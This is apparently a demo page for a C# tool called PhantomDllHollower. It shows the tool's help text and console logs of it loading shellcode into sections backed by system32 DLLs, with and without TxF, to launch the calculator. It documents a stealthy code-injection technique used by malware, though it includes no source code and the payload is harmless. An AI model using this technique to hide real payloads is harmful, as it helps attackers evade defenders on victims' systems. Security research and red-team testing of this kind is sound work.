Phantom DLL Hollowing 的 CSharp 实现

C:Tools>PhantomDllHollower.exe
PhantomDllHollower - Tool for testing Phantom DLL Hollowing.
Usage: PhantomDllHollower.exe [Options]
        -h, --help    : Displays this help message.        -p, --payload : Specifies shellcode to execute.        -t, --txf     : Flag to use TxF. This option requires administrative privilege.
[!] -p option is required.

C:Tools>powershell -c Get-Process calc*
C:Tools>PhantomDllHollower.exe -p calc.bin
[>] Trying to read payload from C:Toolscalc.bin.[+] Payload is read successfully (276 bytes).[>] Searching target module file from C:Windowssystem32.[+] Got target module path.    [*] Target : C:Windowssystem32aadauthhelper.dll[>] Trying to create section object for payload.[+] Payload section object is created successfully.    [*] Section Handle : 0x2CC[>] Trying to map payload section.[+] Payload Section is mapped at 0x00007FF86D2C0000.[>] Trying to write shellcode to payload section's entry point.    [*] Entry Point @ 0x00007FF86D2C2900[+] Shellcode is written successfully.[>] Executing your shellcode.[+] Shellcode thread is created successfully.[*] Waiting for shellcode thread exit.[*] Done.

C:Tools>powershell -c Get-Process calc*
Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName-------  ------    -----      -----     ------     --  -- -----------    598      49    30140      74824       0.34   7760   1 CalculatorApp

C:Tools>certutil -hashfile C:WindowsSystem32concrt140.dll sha1SHA1 hash of C:WindowsSystem32concrt140.dll:2497d0e241c1adf74f03d7d6065e0e0dd365a9d9CertUtil: -hashfile command completed successfully.
C:Tools>powershell -c Get-Process calc*
C:Tools>whoami /groups | findstr /i levelMandatory LabelHigh Mandatory Level                          Label            S-1-16-12288

C:Tools>PhantomDllHollower.exe -p calc.bin -t
[>] Trying to read payload from C:Toolscalc.bin.[+] Payload is read successfully (276 bytes).[>] Searching target module file from C:Windowssystem32.    [*] TxF mode is enabled. This mode requires administrative privilege.[+] Got target module path.    [*] Target : C:Windowssystem32concrt140.dll[>] Trying to generate payload data.[+] Payload data is generated successfully.[>] Trying to create section object for payload.[+] Payload section object is created successfully.    [*] Section Handle : 0x318[>] Trying to map payload section.[+] Payload Section is mapped at 0x00007FF863F80000.    [*] Shellcode @ 0x00007FF863FAD030[>] Executing your shellcode.[+] Shellcode thread is created successfully.[*] Waiting for shellcode thread exit.[*] Done.

C:Tools>certutil -hashfile C:WindowsSystem32concrt140.dll sha1SHA1 hash of C:WindowsSystem32concrt140.dll:2497d0e241c1adf74f03d7d6065e0e0dd365a9d9CertUtil: -hashfile command completed successfully.
C:Tools>powershell -c Get-Process calc*
Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName-------  ------    -----      -----     ------     --  -- -----------    598      49    30136      55972       0.30   7504   1 CalculatorApp

C:Tools>powershell -c Get-Process calc*
C:Tools>whoami /groups | findstr /i levelMandatory LabelMedium Mandatory Level                        Label            S-1-16-8192

C:Tools>PhantomDllHollower.exe -p calc.bin -t
[>] Trying to read payload from C:Toolscalc.bin.[+] Payload is read successfully (276 bytes).[>] Searching target module file from C:Windowssystem32.    [*] TxF mode is enabled. This mode requires administrative privilege.[-] Failed to find abusable module. You may not have sufficient privileges.

C:Tools>powershell -c Get-Process calc*